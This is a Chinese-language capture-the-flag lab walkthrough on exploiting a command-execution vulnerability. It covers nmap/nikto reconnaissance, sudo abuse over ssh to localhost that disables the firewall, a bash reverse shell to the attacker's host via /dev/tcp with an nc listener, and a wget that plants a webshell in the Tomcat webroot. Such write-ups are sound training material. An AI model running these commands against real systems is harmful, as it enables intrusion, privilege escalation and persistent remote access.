命令执行漏洞介绍
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。
调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,又没有过滤用户的输入的情况下,就会造成命令执行漏洞。
实验环境
攻击机:192.168.1.105
靶场机器:192.168.1.103
信息探测
扫描主机服务信息以及服务版本
–nmap -sV 靶场IP地址
快速扫描主机全部信息
– nmap -T4 -A -v靶场IP地址
探测敏感信息
– nikto -host http://靶场IP地址:端口
使用浏览器打开http://ip:port/敏感页面,查看敏感信息,找到可利用的位置;
会返回一些信息
通过此处想到命令执行漏洞
命令执行漏洞利用
查看临时缓冲目录:ls -alh /tmp/
查看home目录,挖掘用户信息:ls -alh /home/
查看具体用户的目录: ls -alh /home/用户名/ #linux每个用户在home下面都有单独的文件夹来存信息
查看系统信息:uname -a
Ubuntu上默认防火墙为UFW
利用ssh命令执行root权限命令
使用ssh用户名@localhost通过ssh登录服务器是不需要身份验证的;查看bill用户sudo命令的权限:ssh bill@localhost sudo -l
关闭防火墙: ssh bill@localhost sudo ufw disable
使用反弹shell来提升权限
攻击机启动监听netcat
nc -nlvp 4444
启动监听之后
靶场机器反弹shell
ssh bill@localhost sudo bash -i >& /dev/tcp/攻击机ip/4444 0>&1
之后该命令之后,查看监听情况
另一种方法:
渗透测试技巧
开启python简易http服务器 python -m SimpleHTTPServer
利用命令执行下载木马文件
ssh bill@localhost sudo wget “http://ip:port/webshell.jsp” -O/var /lib/tomcat8/webapps/ROOT/shelL.jsp #webshell是自己提前制作的,一定要上传到网站的根目录。
获取Flag
一般情况下, 靶场机器的flag值是存放在服务器的根目录下,/root/目 录。
cd /root/
ls
cat flag